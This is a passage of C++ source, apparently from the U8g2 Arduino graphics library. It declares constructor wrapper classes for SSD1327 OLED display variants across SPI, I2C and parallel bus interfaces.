U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_WS_96X64_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_WS_96X64_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_96x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_SEEED_96X96_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_SEEED_96X96_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_SEEED_96X96_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_SEEED_96X96_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_SEEED_96X96_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_SEEED_96X96_1_6800 : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_SEEED_96X96_1_8080 : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_SEEED_96X96_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_SEEED_96X96_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_SEEED_96X96_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_SEEED_96X96_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_SEEED_96X96_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_SEEED_96X96_2_6800 : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_SEEED_96X96_2_8080 : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_SEEED_96X96_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_SEEED_96X96_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_SEEED_96X96_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_SEEED_96X96_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_SEEED_96X96_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_SEEED_96X96_F_6800 : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_SEEED_96X96_F_8080 : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_SEEED_96X96_1_SW_I2C : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_SEEED_96X96_1_HW_I2C : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_SEEED_96X96_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_SEEED_96X96_2_SW_I2C : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_SEEED_96X96_2_HW_I2C : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_SEEED_96X96_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_SEEED_96X96_F_SW_I2C : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_SEEED_96X96_F_HW_I2C : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_SEEED_96X96_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_SEEED_96X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_seeed_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_EA_W128128_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_EA_W128128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_EA_W128128_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_EA_W128128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_EA_W128128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_EA_W128128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_EA_W128128_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_EA_W128128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_EA_W128128_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_EA_W128128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_EA_W128128_1_6800 : public U8G2 { public: U8G2_SSD1327_EA_W128128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_EA_W128128_1_8080 : public U8G2 { public: U8G2_SSD1327_EA_W128128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_MIDAS_128X128_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_MIDAS_128X128_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_MIDAS_128X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_MIDAS_128X128_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_MIDAS_128X128_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_MIDAS_128X128_1_6800 : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_MIDAS_128X128_1_8080 : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_ZJY_128X128_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_ZJY_128X128_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_ZJY_128X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_ZJY_128X128_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_ZJY_128X128_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_ZJY_128X128_1_6800 : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_ZJY_128X128_1_8080 : public U8G2 { public: U8G2_SSD1327_ZJY_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_zjy_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_WS_128X128_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_WS_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_WS_128X128_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_WS_128X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_WS_128X128_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_WS_128X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_1(&u8g2, rotation, 